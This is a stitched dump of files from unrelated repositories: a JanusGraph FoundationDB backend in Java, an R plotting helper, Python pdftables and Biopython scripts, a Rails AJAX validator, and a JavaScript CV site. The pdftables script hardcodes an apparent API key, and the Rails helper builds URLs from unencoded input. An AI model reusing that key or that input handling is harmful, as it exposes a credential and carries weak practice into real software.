import org.janusgraph.diskstorage.BackendException;
import org.janusgraph.diskstorage.PermanentBackendException;
import org.janusgraph.diskstorage.StaticBuffer;
import org.janusgraph.diskstorage.keycolumnvalue.StoreTransaction;
import org.janusgraph.diskstorage.keycolumnvalue.keyvalue.KVQuery;
import org.janusgraph.diskstorage.keycolumnvalue.keyvalue.KeySelector;
import org.janusgraph.diskstorage.keycolumnvalue.keyvalue.KeyValueEntry;
import org.janusgraph.diskstorage.keycolumnvalue.keyvalue.OrderedKeyValueStore;
import org.janusgraph.diskstorage.util.RecordIterator;
import org.janusgraph.diskstorage.util.StaticArrayBuffer;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.ConcurrentHashMap;
/**
* @author <NAME> (<EMAIL>)
*/
public class FoundationDBKeyValueStore implements OrderedKeyValueStore {
private static final Logger log = LoggerFactory.getLogger(FoundationDBKeyValueStore.class);
private static final StaticBuffer.Factory<byte[]> ENTRY_FACTORY = (array, offset, limit) -> {
final byte[] bArray = new byte[limit - offset];
System.arraycopy(array, offset, bArray, 0, limit - offset);
return bArray;
};
private final DirectorySubspace db;
private final String name;
private final FoundationDBStoreManager manager;
private boolean isOpen;
public FoundationDBKeyValueStore(String n, DirectorySubspace data, FoundationDBStoreManager m) {
db = data;
name = n;
manager = m;
isOpen = true;
}
@Override
public String getName() {
return name;
}
private static FoundationDBTx getTransaction(StoreTransaction txh) {
Preconditions.checkArgument(txh != null);
return ((FoundationDBTx) txh);//.getTransaction();
}
@Override
public synchronized void close() throws BackendException {
try {
//if(isOpen) db.close();
} catch (Exception e) {
throw new PermanentBackendException(e);
}
if (isOpen) manager.removeDatabase(this);
isOpen = false;
}
@Override
public StaticBuffer get(StaticBuffer key, StoreTransaction txh) throws BackendException {
FoundationDBTx tx = getTransaction(txh);
try {
byte[] databaseKey = db.pack(key.as(ENTRY_FACTORY));
log.trace("db={}, op=get, tx={}", name, txh);
final byte[] entry = tx.get(databaseKey);
if (entry != null) {
return getBuffer(entry);
} else {
return null;
}
} catch (Exception e) {
throw new PermanentBackendException(e);
}
}
@Override
public boolean containsKey(StaticBuffer key, StoreTransaction txh) throws BackendException {
return get(key,txh)!=null;
}
@Override
public void acquireLock(StaticBuffer key, StaticBuffer expectedValue, StoreTransaction txh) throws BackendException {
if (getTransaction(txh) == null) {
log.warn("Attempt to acquire lock with transactions disabled");
} //else we need no locking
}
@Override
public RecordIterator<KeyValueEntry> getSlice(KVQuery query, StoreTransaction txh) throws BackendException {
log.trace("beginning db={}, op=getSlice, tx={}", name, txh);
final FoundationDBTx tx = getTransaction(txh);
final StaticBuffer keyStart = query.getStart();
final StaticBuffer keyEnd = query.getEnd();
final KeySelector selector = query.getKeySelector();
final List<KeyValueEntry> result = new ArrayList<>();
final byte[] foundKey = db.pack(keyStart.as(ENTRY_FACTORY));
final byte[] endKey = db.pack(keyEnd.as(ENTRY_FACTORY));
try {
final List<KeyValue> results = tx.getRange(foundKey, endKey, query.getLimit());
for (final KeyValue keyValue : results) {
StaticBuffer key = getBuffer(db.unpack(keyValue.getKey()).getBytes(0));
if (selector.include(key))
result.add(new KeyValueEntry(key, getBuffer(keyValue.getValue())));
}
} catch (Exception e) {
throw new PermanentBackendException(e);
}
log.trace("db={}, op=getSlice, tx={}, resultcount={}", name, txh, result.size());
return new FoundationDBRecordIterator(result);
}
private class FoundationDBRecordIterator implements RecordIterator<KeyValueEntry> {
private final Iterator<KeyValueEntry> entries;
public FoundationDBRecordIterator(final List<KeyValueEntry> result) {
this.entries = result.iterator();
}
@Override
public boolean hasNext() {
return entries.hasNext();
}
@Override
public KeyValueEntry next() {
return entries.next();
}
@Override
public void close() {
}
@Override
public void remove() {
throw new UnsupportedOperationException();
}
}
@Override
public Map<KVQuery,RecordIterator<KeyValueEntry>> getSlices(List<KVQuery> queries, StoreTransaction txh) throws BackendException {
log.trace("beginning db={}, op=getSlice, tx={}", name, txh);
FoundationDBTx tx = getTransaction(txh);
final Map<KVQuery, RecordIterator<KeyValueEntry>> resultMap = new ConcurrentHashMap<>();
final List<CompletableFuture<Void>> futures = new ArrayList<>();
try {
final List<Object[]> preppedQueries = new LinkedList<>();
for (final KVQuery query : queries) {
final StaticBuffer keyStart = query.getStart();
final StaticBuffer keyEnd = query.getEnd();
final KeySelector selector = query.getKeySelector();
final byte[] foundKey = db.pack(keyStart.as(ENTRY_FACTORY));
final byte[] endKey = db.pack(keyEnd.as(ENTRY_FACTORY));
preppedQueries.add(new Object[]{query, foundKey, endKey});
}
final Map<KVQuery, List<KeyValue>> result = tx.getMultiRange(preppedQueries);
for (Map.Entry<KVQuery, List<KeyValue>> entry : result.entrySet()) {
final List<KeyValueEntry> results = new ArrayList<>();
for (final KeyValue keyValue : entry.getValue()) {
final StaticBuffer key = getBuffer(db.unpack(keyValue.getKey()).getBytes(0));
if (entry.getKey().getKeySelector().include(key))
results.add(new KeyValueEntry(key, getBuffer(keyValue.getValue())));
}
resultMap.put(entry.getKey(), new FoundationDBRecordIterator(results));
}
} catch (Exception e) {
throw new PermanentBackendException(e);
}
return resultMap;
}
@Override
public void insert(StaticBuffer key, StaticBuffer value, StoreTransaction txh) throws BackendException {
insert(key, value, txh, true);
}
public void insert(StaticBuffer key, StaticBuffer value, StoreTransaction txh, boolean allowOverwrite) throws BackendException {
FoundationDBTx tx = getTransaction(txh);
try {
log.trace("db={}, op=insert, tx={}", name, txh);
tx.set(db.pack(key.as(ENTRY_FACTORY)), value.as(ENTRY_FACTORY));
} catch (Exception e) {
throw new PermanentBackendException(e);
}
}
@Override
public void delete(StaticBuffer key, StoreTransaction txh) throws BackendException {
log.trace("Deletion");
FoundationDBTx tx = getTransaction(txh);
try {
log.trace("db={}, op=delete, tx={}", name, txh);
tx.clear(db.pack(key.as(ENTRY_FACTORY)));
} catch (Exception e) {
throw new PermanentBackendException(e);
}
}
private static StaticBuffer getBuffer(byte[] entry) {
return new StaticArrayBuffer(entry);
}
}
<file_sep>package com.experoinc.janusgraph.diskstorage.foundationdb;
import com.apple.foundationdb.Database;
import com.apple.foundationdb.KeyValue;
import com.apple.foundationdb.ReadTransaction;
import com.apple.foundationdb.Transaction;
import com.apple.foundationdb.Range;
import org.janusgraph.diskstorage.BackendException;
import org.janusgraph.diskstorage.BaseTransactionConfig;
import org.janusgraph.diskstorage.PermanentBackendException;
import org.janusgraph.diskstorage.common.AbstractStoreTransaction;
import org.janusgraph.diskstorage.keycolumnvalue.keyvalue.KVQuery;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.Collections;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.CopyOnWriteArrayList;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.atomic.AtomicInteger;
/**
* @author <NAME> (<EMAIL>)
*/
public class FoundationDBTx extends AbstractStoreTransaction {
private static final Logger log = LoggerFactory.getLogger(FoundationDBTx.class);
private volatile Transaction tx;
private final Database db;
private List<Insert> inserts = new LinkedList<>();
private List<byte[]> deletions = new LinkedList<>();
private int maxRuns = 1;
public enum IsolationLevel { SERIALIZABLE, READ_COMMITTED_NO_WRITE, READ_COMMITTED_WITH_WRITE }
private final IsolationLevel isolationLevel;
private AtomicInteger txCtr = new AtomicInteger(0);
public FoundationDBTx(Database db, Transaction t, BaseTransactionConfig config, IsolationLevel isolationLevel) {
super(config);
tx = t;
this.db = db;
this.isolationLevel = isolationLevel;
switch (isolationLevel) {
case SERIALIZABLE:
// no retries
break;
case READ_COMMITTED_NO_WRITE:
case READ_COMMITTED_WITH_WRITE:
maxRuns = 3;
}
}
public synchronized void restart() {
txCtr.incrementAndGet();
if (tx == null) return;
try {
tx.cancel();
} catch (IllegalStateException e) {
//
} finally {
tx.close();
}
tx = db.createTransaction();
// Reapply mutations but do not clear them out just in case this transaction also
// times out and they need to be reapplied.
//
// @todo Note that at this point, the large transaction case (tx exceeds 10,000,000 bytes) is not handled.
inserts.forEach(insert -> tx.set(insert.getKey(), insert.getValue()));
deletions.forEach(delete -> tx.clear(delete));
}
@Override
public synchronized void rollback() throws BackendException {
super.rollback();
if (tx == null) return;
if (log.isTraceEnabled())
log.trace("{} rolled back", this.toString(), new FoundationDBTx.TransactionClose(this.toString()));
try {
tx.cancel();
tx.close();
tx = null;
} catch (Exception e) {
log.error("failed to rollback", e);
throw new PermanentBackendException(e);
} finally {
if (tx != null)
tx.close();
}
}
@Override
public synchronized void commit() throws BackendException {
boolean failing = true;
for (int i = 0; i < maxRuns; i++) {
super.commit();
if (tx == null) return;
if (log.isTraceEnabled())
log.trace("{} committed", this.toString(), new FoundationDBTx.TransactionClose(this.toString()));
try {
if (!inserts.isEmpty() || !deletions.isEmpty()) {
tx.commit().get();
} else {
// nothing to commit so skip it
tx.cancel();
}
tx.close();
tx = null;
failing = false;
break;
} catch (IllegalStateException | ExecutionException e) {
log.warn("failed to commit transaction", e);
if (isolationLevel.equals(IsolationLevel.SERIALIZABLE) ||
isolationLevel.equals(IsolationLevel.READ_COMMITTED_NO_WRITE)) {
break;
}
restart();
} catch (Exception e) {
log.error("failed to commit", e);
throw new PermanentBackendException(e);
}
}
if (failing) {
throw new PermanentBackendException("Max transaction reset count exceeded");
}
}
@Override
public String toString() {
return getClass().getSimpleName() + (null == tx ? "nulltx" : tx.toString());
}
private static class TransactionClose extends Exception {
private static final long serialVersionUID = 1L;
private TransactionClose(String msg) {
super(msg);
}
}
public byte[] get(final byte[] key) throws PermanentBackendException {
boolean failing = true;
byte[] value = null;
for (int i = 0; i < maxRuns; i++) {
try {
ReadTransaction transaction = getTransaction(this.isolationLevel, this.tx);
value = transaction.get(key).get();
failing = false;
break;
} catch (ExecutionException e) {
log.warn("failed to get ", e);
this.restart();
} catch (Exception e) {
log.error("failed to get key {}", key, e);
throw new PermanentBackendException(e);
}
}
if (failing) {
throw new PermanentBackendException("Max transaction reset count exceeded");
}
return value;
}
public List<KeyValue> getRange(final byte[] startKey, final byte[] endKey,
final int limit) throws PermanentBackendException {
boolean failing = true;
List<KeyValue> result = Collections.emptyList();
for (int i = 0; i < maxRuns; i++) {
try {
ReadTransaction transaction = getTransaction(isolationLevel, this.tx);
result = transaction.getRange(new Range(startKey, endKey), limit).asList().join();
if (result == null) return Collections.emptyList();
failing = false;
break;
} catch (Exception e) {
log.error("raising backend exception for startKey {} endKey {} limit", startKey, endKey, limit, e);
throw new PermanentBackendException(e);
}
}
if (failing) {
throw new PermanentBackendException("Max transaction reset count exceeded");
}
return result;
}
private <T> T getTransaction(IsolationLevel isolationLevel, Transaction tx) {
if(IsolationLevel.READ_COMMITTED_NO_WRITE.equals(isolationLevel)
|| IsolationLevel.READ_COMMITTED_WITH_WRITE.equals(isolationLevel)) {
return (T)tx.snapshot();
} else {
return (T)tx;
}
}
public synchronized Map<KVQuery, List<KeyValue>> getMultiRange(final List<Object[]> queries)
throws PermanentBackendException {
Map<KVQuery, List<KeyValue>> resultMap = new ConcurrentHashMap<>();
final List<CompletableFuture> futures = new LinkedList<>();
try {
for(Object[] obj : queries) {
final KVQuery query = (KVQuery) obj[0];
final byte[] start = (byte[]) obj[1];
final byte[] end = (byte[]) obj[2];
futures.add(tx.getRange(start, end, query.getLimit()).asList()
.whenComplete((res, th) -> {
if (th == null) {
if (res == null) {
res = Collections.emptyList();
}
resultMap.put(query, res);
} else {
log.error("failed to complete getRange of multiRange", th);
throw new RuntimeException("failed to getRange for multiRangeQuery", th);
}
}));
}
futures.forEach(CompletableFuture::join);
} catch (Exception e) {
throw new PermanentBackendException("failed to join results", e);
}
return resultMap;
}
public void set(final byte[] key, final byte[] value) {
inserts.add(new Insert(key, value));
tx.set(key, value);
}
public void clear(final byte[] key) {
deletions.add(key);
tx.clear(key);
}
private class Insert {
private byte[] key;
private byte[] value;
public Insert(final byte[] key, final byte[] value) {
this.key = key;
this.value = value;
}
public byte[] getKey() { return this.key; }
public byte[] getValue() { return this.value; }
}
}
<file_sep>package com.experoinc.janusgraph.blueprints;
import com.experoinc.janusgraph.FoundationDBStorageSetup;
import org.janusgraph.blueprints.AbstractJanusGraphProvider;
import org.janusgraph.diskstorage.configuration.ModifiableConfiguration;
import static org.janusgraph.graphdb.configuration.GraphDatabaseConfiguration.USE_MULTIQUERY;
/**
* @author <NAME> (<EMAIL>)
*/
public class FoundationDBMultiQueryGraphProvider extends AbstractJanusGraphProvider {
@Override
public ModifiableConfiguration getJanusGraphConfiguration(String graphName, Class<?> test, String testMethodName) {
return FoundationDBStorageSetup.getFoundationDBConfiguration()
.set(USE_MULTIQUERY, true);
}
}
<file_sep>package com.experoinc.janusgraph.blueprints.process;
import com.palantir.docker.compose.DockerComposeRule;
import org.apache.tinkerpop.gremlin.GraphProviderClass;
import com.experoinc.janusgraph.FoundationDBStorageSetup;
import com.experoinc.janusgraph.blueprints.FoundationDBMultiQueryGraphProvider;
import org.janusgraph.core.JanusGraph;
import org.junit.ClassRule;
import org.junit.runner.RunWith;
/**
* @author <NAME> (<EMAIL>)
*/
@RunWith(FoundationDBProcessStandardSuite.class)
@GraphProviderClass(provider = FoundationDBMultiQueryGraphProvider.class, graph = JanusGraph.class)
public class FoundationDBJanusGraphMultiQueryProcessTest {
@ClassRule
public static DockerComposeRule docker = FoundationDBStorageSetup.startFoundationDBDocker();
} | a8ce69a1c69001ee6302343ea7f20c1d56fe072d | [
"Java",
"INI"
] | 5 | INI | skyrocknroll/janusgraph-foundationdb | f6f8a7bfaf6828c5765eaa9d1a39774a0afd12b9 | bf1c907b3c4d52135aac300b2cd5f7f0961dc654 |
refs/heads/master | <file_sep># Large-scale-social-media-data-as-a-sensor-for-public-concern-on-climate-change
## Experiment Lab:
This is the dir for ML modelling and sentiment analysis
<file_sep># Large-scale-social-media-data-as-a-sensor-for-public-concern-on-climate-change
## Main Workplace:
This is the dir for Subsequent modelling and analysis
<file_sep># Large-scale-social-media-data-as-a-sensor-for-public-concern-on-climate-change
## MS Integration:
This is the dir for programming logics to interact with MS resource
<file_sep># convert felm result into a data frame with rhs | coef | se | xmin | xmax | xmid | ci.l | ci.h,
# replacing Inf and -Inf with in xmin and xmax on the edge bins with the graphically spaced bound
## felm.est: result from felm() call (lm will probably work too) with RHS factor variable like cuttmax or bins
## plotvar: string of variable to plot: e.g. 'cuttemp'
## breaks: bin size
## omit: omitted bin
binned.plot <- function(felm.est, plotvar, breaks, omit, noci=FALSE,
xlimit=c(min(dt$xmid), max(dt$xmid)), ylimit=c(min(dt$ci.l) - (max(dt$ci.h) - min(dt$ci.l))/10,max(dt$ci.h)),
panel="panel", panel.x=min(xlimit), panel.y=min(ylimit), panel.size=15,
hist.text.size=6, ylabel="y-label", xlabel="x=label",
roundx=5,
y.axis.theme=element_text(size=20, angle=0, face="bold"), y.axis.line=element_line(),
y.axis.ticks=element_line(),
linecolor='darkorchid4', errorfill='gray40', pointfill='gold', pointcolor='darkorchid4') {
dt <- as.data.frame(summary(felm.est)$coefficients[, 1:2]) # extract from felm summary (use df to keep coefficient names)
dt <- dt[grepl(plotvar, rownames(dt)), ] # extract variable name (e.g., tmax.cut, ppt.cut, ...), limit to matches
dt$rhs <- str_split_fixed(rownames(dt), " ", n=2)[,1]
dt <- as.data.table(dt)
dt[, rhs := gsub(paste0(plotvar), "", rhs)]
dt[, rhs := gsub("\\(|]", "", rhs)]
dt[, rhs := gsub(".neg.", "-", rhs)]
dt[, rhs := gsub(".pos.", "", rhs)]
dt[, rhs := gsub(".diff", "", rhs)]
dt[grepl(",", rhs), rhs := tstrsplit(rhs, ',')[2]] # if a factor variable, grab second column (upper limit)
dt[, rhs := as.numeric(rhs)]
dt <- dt[!is.na(rhs)]
dt[, xmin := rhs - breaks]
dt[, xmax := rhs]
dt[, rhs := NULL]
setnames(dt, c("coef", "se", "xmin", "xmax"))
dt[, xmin.lead := data.table::shift(xmin, type="lead")]
dt[, xmax.lag := data.table::shift(xmax, type="lag")]
dt[xmin==-Inf, xmin := xmin.lead - breaks]
dt[xmax==-Inf, xmax := xmin.lead]
dt[xmin==Inf, xmin := xmax.lag]
dt[xmax==Inf, xmax := xmin + breaks]
dt[, c('xmin.lead','xmax.lag') := NULL]
# identify omitted category, add 0.
dt <- rbind(dt, data.table(coef=0, se=0, xmin=omit[1], xmax=omit[2]))
dt[, ':='(xmid=(xmin+xmax)/2, ci.l=coef - se*1.96, ci.h=coef + se*1.96)] # add some stuff for plotting
dt[, range := paste(xmin, xmax, sep="-")] # create range variable for x labels
dt[xmax == min(xmax), range := paste0("<=",min(xmax))] # set bottom of range
dt[xmin == max(xmin), range := paste0(">",min(xmin))] # set top of range
plot <- ggplot() +
geom_hline(aes(yintercept=0), linetype=2, color='black') +
geom_ribbon(data=dt, aes(x=xmid, ymin=ci.l, ymax=ci.h), fill=errorfill, alpha=0.25) +
geom_line(data=dt, aes(x=xmid, y=ci.l), linetype="dotted", color=linecolor, size=0.75, alpha=1) +
geom_line(data=dt, aes(x=xmid, y=ci.h), linetype="dotted", color=linecolor, size=0.75, alpha=1) +
geom_line(data=dt, aes(x=xmid, y=coef), color=linecolor, size=2, alpha=1) +
geom_point(data=dt, aes(x=xmid, y=coef), size=2, fill=linecolor, color='black', pch=21, alpha=1) +
ylab(ylabel) +
xlab(xlabel) +
coord_cartesian(xlim=xlimit, ylim=ylimit, expand=TRUE) +
scale_x_continuous(breaks = unique(round_any(dt$xmid, roundx)), labels = unique(round_any(dt$xmid, roundx))) +
theme(plot.title = element_text(face="bold", size=40),
axis.title.x = element_text(size=15, angle=0, face="bold", vjust=1.1),
axis.title.y = element_text(size=15, angle=90, face="bold", vjust=-0),
axis.text.y = y.axis.theme,
axis.text.x = element_text(size=15, face="bold"),
axis.ticks.y = y.axis.ticks,
panel.grid.major = element_blank(),
panel.grid.minor = element_blank(),
panel.background = element_blank(),
axis.line.x = element_line(),
axis.line.y = y.axis.line,
legend.title=element_blank()
)
return(plot)
}
<file_sep># Large-scale-social-media-data-as-a-sensor-for-public-concern-on-climate-change
This is the repo for the journal
| 701311ae2f6c989f57c15fd50089fff4862452f2 | [
"Markdown",
"R"
] | 5 | Markdown | ShawnHouCHN/A-Paper-of-Retweet-Study | 2b3b0673dd1f32030393c7d09be174e54a3ce464 | 9f9813661c9228174a61925cbf7fa1d2ec532653 |
refs/heads/master | <repo_name>avand/RailsAjaxFormValidationExample<file_sep>/app/controllers/users_controller.rb
include ActionView::Helpers::UrlHelper
include ActionView::Helpers::ActiveRecordHelper
class UsersController < ApplicationController
include ApplicationHelper
def validate
field = params[:field]
user = User.new(field => params[:value])
output = ""
user.valid?
if user.errors[field] != nil
if user.errors[field].class == String
output = "#{field.titleize} #{user.errors[field]}"
else
output = "#{field.titleize} #{user.errors[field].to_sentence}"
end
end
render :text => output
end
def register
if request.post?
@user = User.new(params[:user])
if @user.save
# move on
end
end
end
end
<file_sep>/app/helpers/application_helper.rb
module ApplicationHelper
def error_message_for(model, field, options = {})
options[:success_css_class] ||= 'success'
options[:error_css_class] ||= 'error'
options[:hint_css_class] ||= 'hint'
tag_id = "#{model}_#{field}_validator"
js = observe_field "#{model}_#{field}", :function =>
"new Ajax.Request(
'/users/validate?field=#{field}&value=' + value,
{ method: 'get',
onSuccess: function(transport) {
element = document.getElementById('#{tag_id}');
var output = transport.responseText;
var css_class = '#{options[:error_css_class]}';
if (output.length == 0) {
output = '#{options[:success]}';
css_class = '#{options[:success_css_class]}'
}
element.innerHTML = output;
element.setAttribute('class', css_class);
}
}
);"
tag = content_tag :span, options[:hint], :id => tag_id, :class => options[:hint_css_class]
return tag + js
end
end
<file_sep>/app/models/user.rb
class User < ActiveRecord::Base
EMAIL_MIN_LENGTH = 6
EMAIL_MAX_LENGTH = 100
PASSWORD_MIN_LENGTH = 4
PASSWORD_MAX_LENGTH = 20
EMAIL_RANGE = EMAIL_MIN_LENGTH..EMAIL_MAX_LENGTH
PASSWORD_RANGE = PASSWORD_MIN_LENGTH..PASSWORD_MAX_LENGTH
#Text box sizes for display in views
EMAIL_SIZE = 20
PASSWORD_SIZE = EMAIL_SIZE
validates_presence_of :email, :first_name, :last_name
validates_length_of :email, :within => EMAIL_RANGE
validates_length_of :password, :within => PASSWORD_RANGE
validates_format_of :email,
:with => /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\Z/i,
:message => 'must be a valid address'
end | 04c44cf25759abcc1c1200ca94c57a2480abac69 | [
"Ruby"
] | 3 | Ruby | avand/RailsAjaxFormValidationExample | 456ca2f955064269227d8ee0bde2fe76c611deba | ed320ac2ec57489eef2119738655892646426366 |
refs/heads/master | <file_sep>import pdftables_api
c = pdftables_api.Client('26xisrk36qt7')
c.xlsx('ALL.pdf', 'ALL.xlsx')
c.xlsx('AML.pdf', 'AML.xlsx')
<file_sep>from Bio import SeqIO
from Bio.SeqRecord import SeqRecord
from random import randint
human_reads = SeqIO.read(open("sequence.gb"), "genbank")
human_frags=[]
limit=len(human_reads.seq)
for i in range(0, 100000):
start = randint(0,limit-50)
end = start+50
human_frag = human_reads.seq[start:end]
record = SeqRecord(human_frag,'fragment_%i' % (i+1), '', '')
human_frags.append(record)
output_handle = open("humanreads.fastq", "w")
SeqIO.write(human_frags, output_handle, "fastq")
output_handle.close()
| d35c6a22e9d5ee0d62afd281d42d7c1e2452c6df | [
"Python"
] | 2 | Python | wadapurkarrucha/bioinfo | 9ed902d0e1fee41eb96b67522e792345d4a089b9 | 0cb3ff73caba23898e27fc9df9541a557ff63308 |
refs/heads/master | <repo_name>DanielVillalbaD/CV<file_sep>/js/main.js
/* SABER LASER */
var saberLaser = document.getElementsByClassName("toggle-icon")[0];
var overlayHref = document.querySelectorAll(".overlay ul li a");
function overlayAnim () {
document.getElementsByClassName("overlay")[0].classList.toggle("anim");
};
function saberTransform () {
document.getElementById("nav-container").classList.toggle("pushed");
};
function bothTransforms () {
overlayAnim();
saberTransform();
}
for (var i = 0; i < overlayHref.length; i++) {
overlayHref[i].addEventListener("click", bothTransforms);
}
saberLaser.addEventListener('click', bothTransforms);
/* FIN SABER LASER */
/* IMG MOUSE MOVEMENT */
/* BACK LATER
var bfParody = document.querySelector('.header-full img');
function mouseReact(event) {
console.log('hola');
var mouseconst = event.pageX * -1 + event.pageY * -1;
this.style.transform = `rotateZ(${mouseconst}deg)`;
this.style.transform = `rotateY(${mouseconst/2}deg)`;
this.style.transform = `rotateX(${mouseconst/2}deg)`;
}
bfParody.addEventListener('mousemove', mouseReact);
*/
/* IMG MOUSE MOVEMENT */
/* JQUERY TABS */
$("ul li.star-tab").click(function() {
var tab_on = $(this)[0].getAttribute("data");
$("ul li.star-tab").removeClass("tab-on");
$(".tabs-content").removeClass("tab-on");
$(this).addClass("tab-on");
$("#" + tab_on).addClass("tab-on");
/* SYNCHRONIZATION WITH STICKY MENU*/
removeBlink();
if (tab_on === "educacion") {
document.getElementById("educamen").classList.add("blink");
} else if (tab_on === "experiencia") {
document.getElementById("expmen").classList.add("blink");
} else if (tab_on === "sobre-mi") {
document.getElementById("videomen").classList.add("blink");
}
});
/* FIN SYNCHRONIZATION WITH STICKY MENU*/
$("ul li.tab-off").click(function() {
var tab_on = $(this)[0].getAttribute("data");
$("ul li.tab-off").removeClass("tab-on");
$("#educacion div").removeClass("tab-on");
$(this).addClass("tab-on");
$("#" + tab_on).addClass("tab-on");
});
/* FIN JQUERY TABS */
/* EXPERIENCE CLOSER */
// I Will Back to improve you
var closericon = document.querySelector(".box-close");
var closericon2 = document.querySelector(".sd-closer");
var closericon3 = document.querySelector(".td-closer");
var closericon4 = document.querySelector(".st-closer-2");
var closericon5 = document.querySelector(".sd-closer-2");
var closericon6 = document.querySelector(".td-closer-2");
function closeBox() {
$("#exp1").prop("checked", false);
$("#exp2").prop("checked", false);
$("#exp3").prop("checked", false);
$("#exp1-2").prop("checked", false);
$("#exp2-2").prop("checked", false);
$("#exp3-2").prop("checked", false);
}
closericon.addEventListener("click", closeBox);
closericon2.addEventListener("click", closeBox);
closericon3.addEventListener("click", closeBox);
closericon4.addEventListener("click", closeBox);
closericon5.addEventListener("click", closeBox);
closericon6.addEventListener("click", closeBox);
/* STICKY MENU */
var stickynav = document.getElementById("sticky-nav");
var sticky = stickynav.offsetTop;
function stickyNav() {
window.pageYOffset >= sticky
? stickynav.classList.add("sticky")
: stickynav.classList.remove("sticky");
}
window.onscroll = function() {
stickyNav();
};
/* VIDEO PLAYER */
//GET ELEMENTS
var player = document.querySelector(".player");
var video = player.querySelector(".viewer");
var playerToggle = player.querySelector(".playertoggle");
var mute = player.querySelector(".mute-button");
var playerIcon = player.querySelector(".fa-play");
var expand = player.querySelector('.fa-expand');
//FUNCTIONS
function togglePlay() {
var method = video.paused ? "play" : "pause";
video[method]();
playerIcon.classList.toggle("fa-pause");
}
function mutePush() {
if ($("video").prop("muted")) {
$("video").prop("muted", false);
} else {
$("video").prop("muted", true);
}
var muteON = '<i class="fa fa-volume-up"></i>';
var muteOFF = '<i class="fa fa-volume-off"></i>';
var muteicon = $("video").prop("muted") ? muteOFF : muteON;
mute.innerHTML = muteicon;
}
function fullScreen(el) {
if(el.requestFullScreen) {
el.requestFullScreen();
} else if (el.mozRequestFullScreen) {
el.mozRequestFullScreen();
} else if (el.webkitRequestFullScreen) {
el.webkitRequestFullScreen();
} else if (el.msRequestFullScreen) {
el.msRequestFullScreen();
}
}
function expandVideo() {
fullScreen(video);
video.play();
}
//EVENT LISTENERS
expand.addEventListener('click', expandVideo);
video.addEventListener("click", togglePlay);
mute.addEventListener("click", mutePush);
playerToggle.addEventListener("click", togglePlay);
/* CONTACT FORM */
var nameInput = document.querySelector('.name');
var emailInput = document.querySelector('.email');
var telInput = document.querySelector('.tel');
var commentInput = document.querySelector('.comment');
var submitButton = document.querySelector('input[type=submit]');
var form = document.querySelector('.form');
var other = document.querySelector('.other');
var checkInputs = {
opt1 : document.querySelector('#cbox1'),
opt2 : document.querySelector('#cbox2'),
opt3 : document.querySelector('#cbox3'),
opt4 : document.querySelector('#cbox4'),
};
var nameError = document.getElementsByClassName('name-help')[0];
var emailError = document.getElementsByClassName('email-help')[0];
var phoneError = document.getElementsByClassName('phone-help')[0];
var inputError = document.getElementsByClassName('whoknown-help')[0];
var commentError = document.getElementsByClassName('comment-help')[0];
var otherError = document.getElementsByClassName('other-help')[0];
checkInputs.opt4.addEventListener('click', function() {
other.classList.toggle("other-checked");
if (other.classList.contains("other-checked")) {
other.setAttribute("required", "");
} else {
other.removeAttribute("required");
}
});
form.addEventListener('submit', function(event) {
event.preventDefault();
if (nameInput.checkValidity() === false) {
nameError.classList.add('validation-error');
nameInput.focus();
return false;
} else {
nameError.classList.remove('validation-error');
}
var emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
var telRegex = /^(\+34|0034|34)?[6|7|9][0-9]{8}$/;
var resultEmailValidation = emailRegex.test(emailInput.value);
var resultPhoneValidation = telRegex.test(telInput.value);
var resultCommentValidation = commentInput.value.match(/\S+/g);
console.log(resultCommentValidation);
if (resultEmailValidation === false) {
emailError.classList.add('validation-error');
emailInput.focus();
return false;
} else {
emailError.classList.remove('validation-error');
}
if (resultPhoneValidation === false) {
phoneError.classList.add('validation-error');
telInput.focus();
return false;
} else {
phoneError.classList.remove('validation-error');
}
/* No me ha funcionado la validación de HTML5 para los checkboxes, desconozco la razón, por falta de tiempo he cambiado a esto */
if (checkInputs.opt1.checked || checkInputs.opt2.checked || checkInputs.opt3.checked || checkInputs.opt4.checked) {
inputError.classList.remove('validation-error');
} else {
inputError.classList.add('validation-error');
return false;
}
if (other.checkValidity() === false) {
otherError.classList.add('validation-error');
other.focus();
return false;
} else {
otherError.classList.remove('validation-error');
}
if (resultCommentValidation.length > 150) {
commentError.classList.add('validation-error');
commentInput.focus();
return false;
} else {
commentError.classList.remove('validation-error');
}
/* if (commentInput.checkValidity() === false || wordsCount.length > maxWords) {
commentError.classList.add('validation-error');
commentInput.focus();
return false;
} else {
commentError.classList.remove('validation-error');
}*/
/*
POR DIOS, ¿CÓMO HAGO ESTO? SERGIO PLEASE, ILÚSTRAME
var optsChecked = "";
for (var i = 0; i <= checkInputs.length; i++) {
if (this.checked) {
optsChecked = optsChecked.concat("," + this.value);
}
}
*/
/* OTRA PRUEBA SIN ÉXITO
var selectedOpts = "";
for (var options in checkInputs){
if (options.checked) {
console.log(options);
}
};
*/
var data = {
Name: nameInput.value,
Email: emailInput.value,
Phone: telInput.value,
From: "No consigo recuperarlo, parezco <NAME>",
Other: other.value,
Comment: commentInput.value,
};
createData(data);
});
/* CONTACT FORM */<file_sep>/js/ajax.js
var xhr = new XMLHttpRequest();
var url = "http://localhost:8000/api/task";
var form = document.querySelector('.form');
var formButton = document.querySelector('.custom-submit');
function getData() {
xhr.open("GET", url+'/1', true);
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
var response = JSON.parse(xhr.responseText);
var children = "";
var div = document.createElement("div");
div.classList.add("response-container");
for (var i in response) {
children += '<p class="response">' + i + ': ' + response[i] + '</p>';
}
div.innerHTML = children;
form.appendChild(div);
} else if (xhr.readyState === 4 && xhr.status !== 200) {
console.log("ha existido un error");
}
};
xhr.send ();
}
function createData(data) {
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 201) {
formButton.innerHTML = '<p>Enviado! Gracias, he recibido:</p>';
getData(); //Siento la cutrada... no me ha dado tiempo a mejorarlo
